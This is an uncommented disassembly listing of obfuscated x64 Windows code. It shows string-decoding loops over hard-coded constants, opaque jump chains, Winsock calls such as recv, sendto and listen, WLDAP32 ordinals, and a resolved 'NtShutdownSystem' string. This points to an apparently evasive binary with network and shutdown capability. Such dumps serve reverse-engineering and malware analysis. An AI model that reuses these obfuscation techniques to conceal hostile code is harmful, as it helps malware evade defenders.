jne 0x14010b04b
add r10b, 0x30
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x50
add rax, r9
jmp 0x14010b5d8
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14010b2c0
lea edx, [r10 + 0x28]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x18
jmp 0x14010b574
inc rcx
cmp rax, rcx
jne 0x14010b2f1
sub r10b, 0x28
movzx ecx, r10b
and cl, r11b
mov edx, recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x14010ab62
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14010b320
sub r10b, 0x78
movzx ecx, r10b
and cl, r11b
mov edx, 0x24
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x14010ab62
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x14010b342
sub r10b, 0x68
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
jmp 0x14010b5d5
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x14010b002
sub r10b, 0x58
movzx ecx, r10b
and cl, r11b
mov edx, 0x34
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
jmp 0x14010b6bb
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x14010b39f
sub r10b, 0x20
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x20
movzx ecx, byte [rbp + rdi - 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x14010ab62
inc rcx
cmp rax, rcx
jne 0x14010b3c7
lea r8d, [r10 + 0x40]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x14010b611
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x14010b3ef
sub r10b, 0x60
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x60
add rax, r9
jmp 0x14010b5d8
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x14010b40f
lea edx, [r10 + 0x50]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x30
jmp 0x14010b478
lea rcx, [r9 + 7]
cmp rax, rcx
jne 0x14010b433
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
dec rdi
inc rdi
jmp 0x14010ab62
lea rcx, [r9 + 9]
cmp rax, rcx
jne 0x14010afbc
lea r8d, [r10 + 0x60]
movzx ecx, r8b
and cl, r11b
mov edx, Ordinal_50
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x14010b574
lea edx, [r10 - 0x40]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x40
add bl, r11b
sub r10b, 0x68
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x28
add r10b, bl
add r10b, r11b
mov byte [rbp + rdi - 0x20], r10b
add rax, r9
jmp 0x14010b5d8
lea edx, [r10 + 0x70]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [rdx - 0x10]
jmp 0x14010b611
sub r10b, 0x18
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x58
movzx ecx, byte [rbp + rdi - 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x14010ab62
lea r8d, [r10 - 0x78]
movzx ecx, r8b
and cl, r11b
mov edx, 0x24
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x14010b611
sub r10b, 0x28
movzx ecx, r10b
and cl, r11b
mov edx, recv
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x14010b5d8
add r10b, 0x28
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea ebx, [r11 + r10]
sub bl, 0x18
add rax, r9
jmp 0x14010b5d8
lea r8d, [r10 + 0x68]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_sendto
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
jmp 0x14010b574
movzx r10d, dil
lea edx, [r10 + 8]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea ebx, [r11 + rdx]
sub bl, 0x38
sub r10b, 0x18
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x58
add r10b, r11b
mov byte [rbp + rdi - 0x20], r10b
inc r9
dec rdi
inc rdi
jmp 0x14010ab62
lea r8d, [rdi - 0x58]
movzx ecx, r8b
and cl, r11b
mov edx, 0x34
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r8b
add bl, r11b
dec rdi
inc rdi
jmp 0x14010ab62
lea rcx, [rdi + r13]
and sil, cl
add sil, sil
sub cl, sil
lea ebx, [r11 + rcx]
sub bl, 0x28
movzx ecx, bl
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rdi, rdx
inc rdi
jmp 0x14010ab62
movabs rcx, 0xa70897354a9d91e8
add rcx, rdi
and sil, cl
add sil, sil
sub cl, sil
lea ebx, [r11 + rcx]
sub bl, 0x58
movzx r10d, dil
add r10b, 0x48
movzx ecx, r10b
and cl, r11b
mov edx, 4
sub dl, cl
add dl, dl
add dl, r10b
add dl, r11b
movzx ecx, dl
mov byte [rbp + rdi - 0x20], cl
inc r9
add rcx, r9
sub rdi, rcx
jmp 0x14010b65d
movabs rcx, 0xe50622dcec276838
add rcx, rdi
and sil, cl
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, sil
lea ebx, [rdx + rdx]
add bl, cl
add bl, r11b
lea r8d, [rdi + 0x20]
movzx ecx, r8b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
add dl, dl
add dl, r8b
add dl, r11b
mov byte [rbp + rdi - 0x20], dl
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
movzx ecx, byte [rbp + rdi - 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x14010ab62
movabs rcx, 0x2303ae848db13e88
add rcx, rdi
and sil, cl
mov edx, 0x24
sub dl, sil
lea ebx, [rdx + rdx]
add bl, cl
add bl, r11b
movzx ecx, byte [rbp + rdi - 0x20]
add rcx, r9
add rdi, rcx
inc rdi
jmp 0x14010ab62
add r10b, 0x38
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_60
sub dl, cl
lea ebx, [rdx + rdx]
add bl, r10b
add bl, r11b
jmp 0x14010ab60
sub r10b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14010ab50
lea rdx, [rbp + 0x1720100]
jmp 0x14010b727
lea rdx, [rbp + 0x12d15d8]
jmp 0x14010b727
lea rdx, [rbp - 0x20]
mov rcx, qword [0x14022c178]
call fcn.1400cbd00
mov rsi, qword [0x14022c4a0]
mov dword [rbp + 0x90], 0x4580c41
mov dword [rbp + 0x94], 0x180c0d19
mov dword [rbp + 0x98], 0xb00511a
mov dword [rbp + 0x9c], 0x120f00f9
mov dword [rbp + 0xa0], 0xfba8f515
mov dword [rbp + 0xa4], 0xafebf4e9
mov dword [rbp + 0xa8], 0xb3a0cfb1
mov dword [rbp + 0xac], 0x9df4a20a
mov byte [rbp + 0xb0], 0x86
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb1], xmm0
movups xmmword [rbp + 0xc1], xmm0
mov word [rbp + 0xd1], ax
movabs r14, 0x49f9b922ceef
movabs r13, 0xdded2b686ccd
movzx ebx, byte [rbp + 0x148]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor edi, edi
cmp rdi, 0x43
jae 0x14010c356
movzx r11d, byte [rbp + rdi + 0x90]
mov edx, r11d
nop dword [rax + rax]
cmp r8, rdi
ja 0x14010c34d
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14010b82b
lea rcx, [rdi + r14]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x77
jmp 0x14010b858
je 0x14010c2e4
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010c255
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010c1ff
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010c1e0
movzx r10d, dil
nop dword [rax]
cmp r9, rdi
ja 0x14010c344
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x14010b889
lea ecx, [r10 - 0x65]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x3d
jmp 0x14010b8d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010c19e
inc rax
cmp r8, rax
je 0x14010c17c
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010c162
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010c146
lea rax, [r9 + 8]
cmp r8, rax
je 0x14010c119
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14010be1f
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14010be01
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14010bdd8
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14010bdb6
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14010bd9c
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14010bd80
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14010bd64
lea rax, [r9 + 8]
cmp r8, rax
je 0x14010bd4a
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010bd2e
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010bd01
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14010b8e0
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x1000]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14010c328
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14010c30c
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14010bac8
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14010baae
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14010ba94
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14010bcba
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14010bc70
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14010bc38
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14010bc12
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14010b8e0
lea r8, [r9 + 0x64]
lea r9, [r8 + 1]
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14010bbe5
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14010bbc9
lea rax, [r9 + 6]
cmp r8, rax
ja 0x14010bbaf
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14010bb8f
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14010bb6f
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x14010bb51
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14010bb2b
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14010bb02
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14010bae4
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14010b8e0
lea r8, [r9 + 0x61]
lea r9, [r8 + 8]
jmp 0x14010b8e0
lea ecx, [r10 - 0x3b]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x63
jmp 0x14010b8d0
lea ecx, [r10 - 0x19]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x51
jmp 0x14010b860
add r10b, 9
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3f
jmp 0x14010b800
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14010c1b3
sub r10b, 6
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x14010b7e2
add r10b, 0x1c
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x14010b7e2
lea edx, [r10 + 0x3e]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14010c218
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14010c23a
sub r10b, 0x7e
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
jmp 0x14010c23d
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x7c
jmp 0x14010c275
sub r10b, 0x3a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6a
jmp 0x14010c2a0
sub r10b, 0x18
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x58
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010b7e2
add r10b, 0x3d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x55
mov byte [rbp + rdi + 0x90], bl
inc rdi
jmp 0x14010b7e2
lea ecx, [r10 + 0x5f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x67
cmp r9, 0x28
jb 0x14010bc29
lea ecx, [r10 + 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea ebx, [rcx*2 - 0x2c]
jmp 0x14010c1b3
lea ecx, [r10 - 0x7f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x79
cmp r8, 6
jae 0x14010c0e1
lea rax, [r9 + 0x200]
cmp r8, rax
jbe 0x14010c008
lea edx, [r10 - 0x72]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14010bc4d
lea ecx, [r10 - 0x5d]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x75
lea rax, [r9 + r8]
cmp rax, 0x2a
je 0x14010c0fe
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x14010bf2e
lea ecx, [r10 - 0xd]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x5b
jmp 0x14010bc85
sub r10b, 0x5e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x6e
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010b7e2
sub r10b, 0x3c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x5c
jmp 0x14010c2a0
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4a
jmp 0x14010c275
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x38
jmp 0x14010c23d
add r10b, 0x2a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x26
jmp 0x14010c23a
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x14
jmp 0x14010c218
add r10b, 0x6e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 2
dec rdi
inc rdi
jmp 0x14010b7e2
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x14010b7e2
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14010c1b3
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14010be45
lea ecx, [r10 - 0x11]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x77
jmp 0x14010bccf
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010be7b
add r10b, 0x36
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x7a
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010b7e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010bea2
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14010c275
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010bec9
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14010c218
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14010bef8
add r10b, 0x6a
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
dec rdi
inc rdi
jmp 0x14010b7e2
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010bccf
add r10b, 0x48
movzx eax, r10b
and al, r11b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
inc r9
dec rdi
inc rdi
jmp 0x14010b7e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010bf51
lea ecx, [r10 - 0x2f]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x49
jmp 0x14010c1b3
inc rax
cmp r8, rax
jne 0x14010bf7e
sub r10b, 0x51
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x37
inc r9
dec rdi
inc rdi
jmp 0x14010b7e2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010bfa9
sub r10b, 0x73
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x25
dec rdi
inc rdi
jmp 0x14010b7e2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14010bfce
add r10b, 0x27
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x11
jmp 0x14010c23d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010bc85
sub r10b, 0x3f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x47
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010b7e2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14010c042
add r10b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, r11b
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010b7e2
inc rax
cmp r8, rax
jne 0x14010c066
add r10b, 6
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x2a
jmp 0x14010c23d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14010c08b
sub r10b, 0x1c
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x3c
jmp 0x14010c23a
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14010c0b6
sub r10b, 0x60
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x60
dec rdi
inc rdi
jmp 0x14010b7e2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14010bc4d
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
jmp 0x14010c1b3
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
movzx ecx, r11b
sub cl, al
add cl, 0x2c
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14010c218
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
jmp 0x14010c275
add r10b, 0x69
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x21
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010b7e2
sub r10b, 0x31
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
add bl, 0x57
jmp 0x14010c23d
lea ecx, [r10 + 0x13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0x7b
jmp 0x14010c218
add r10b, 0x35
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x73
dec rdi
inc rdi
jmp 0x14010b7e2
lea ecx, [r10 + 0x79]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x4f
add r10b, 0x29
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x1f
add r10b, r11b
mov byte [rbp + rdi + 0x90], r10b
inc r9
dec rdi
inc rdi
jmp 0x14010b7e2
lea ecx, [rdi + 1]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 7
dec rdi
inc rdi
jmp 0x14010b7e2
movzx r10d, dil
lea ecx, [r10 + 0x23]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
add bl, 0xb
add r10b, 7
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x31
add r10b, r11b
add r10b, bl
mov byte [rbp + rdi + 0x90], r10b
add r8, r9
movzx eax, bl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14010b7e2
movabs rcx, 0x205d40ff3a889
add rcx, rdi
and dl, cl
add dl, dl
movzx ebx, r11b
sub bl, dl
add bl, 0x41
add bl, cl
movzx r10d, dil
sub r10b, 0x1b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x43
add r10b, r11b
movzx eax, r10b
mov byte [rbp + rdi + 0x90], al
inc r9
add rax, r9
sub rdi, rax
lea edx, [rdi - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0x90], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010b7e2
lea rax, [rdi + r13]
and dl, al
add dl, dl
sub r11b, dl
lea ebx, [rax + r11]
add bl, 0x65
movzx eax, byte [rbp + rdi + 0x90]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14010b7e2
add r10b, 0x2b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x2d
jmp 0x14010b7e0
add r10b, 0x4d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea ebx, [r11 + r10]
sub bl, 0x1b
jmp 0x14010b7d0
lea rdx, [rbp + 0x1630924]
jmp 0x14010c35d
lea rdx, [rbp + 0x105d813]
jmp 0x14010c35d
lea rdx, [rbp + 0x90]
mov r9, rsi
lea r8, str.NtShutdownSystem
mov rcx, qword [0x14022c178]
call fcn.140114bc0
movzx esi, word [0x14022c4a8]
mov dword [rbp + 0x18], 0xe330ec39
mov dword [rbp + 0x1c], 0x3ff3f4f1
mov dword [rbp + 0x20], 0xe6f6f7ef
mov dword [rbp + 0x24], 0x1004d9f5
mov dword [rbp + 0x28], 0xdb1001e0
mov dword [rbp + 0x2c], 0x2f26d50d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rax
mov word [rbp + 0x48], ax
mov byte [rbp + 0x4a], al
movabs r14, 0x3647ac6c2de65953
movabs r13, 0xe8850fcd9d1923eb
movzx edx, byte [rbp + 0x148]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x14010ce8a
movzx r10d, byte [rbp + rbx + 0x18]
mov edi, r10d
cmp r8, rbx
ja 0x14010ce81
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14010c430
lea rcx, [rbx + r14]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
sub dl, 0x45
jmp 0x14010c46a
je 0x14010ce10
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010cd8b
lea rax, [rcx + 1]
cmp r8, rax
je 0x14010cd5f
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010cd20
lea rax, [r9 + 4]
cmp r8, rax
je 0x14010cd00
movzx r11d, bl
nop
cmp r9, rbx
ja 0x14010ce78
lea rax, [r9 + 2]
cmp r8, rax
jae 0x14010c499
lea ecx, [r11 - 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x57
jmp 0x14010c4d0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14010ccbf
lea rax, [r9 + 3]
cmp r8, rax
je 0x14010cc9d
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010cc81
lea rax, [rcx + 1]
cmp r8, rax
je 0x14010cc67
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14010c93a
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x14010c91f
lea rax, [r9 + 5]
cmp r8, rax
je 0x14010c8fa
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14010c8d4
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14010c8ba
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x14010c89e
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14010c883
lea rax, [r9 + 6]
cmp r8, rax
je 0x14010c865
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14010c837
lea r8, [r9 + 0x2a]
lea r9, [r8 + 2]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14010ce5c
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14010ce40
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14010c670
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14010c656
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x14010c63c
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14010c7ef
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14010c7a7
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14010c763
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14010c4e0
lea r8, [r9 + 3]
lea r9, [r8 + 5]
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14010c735
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x14010c715
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14010c6fb
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x14010c6db
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14010c6c0
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14010c69e
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14010c68c
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x200]
jmp 0x14010c4e0
lea ecx, [r11 + 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x77
jmp 0x14010c4d0
lea ecx, [r11 + 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x13
jmp 0x14010c470
sub r11b, 0x3b
movzx eax, r11b
and al, r10b
add al, al
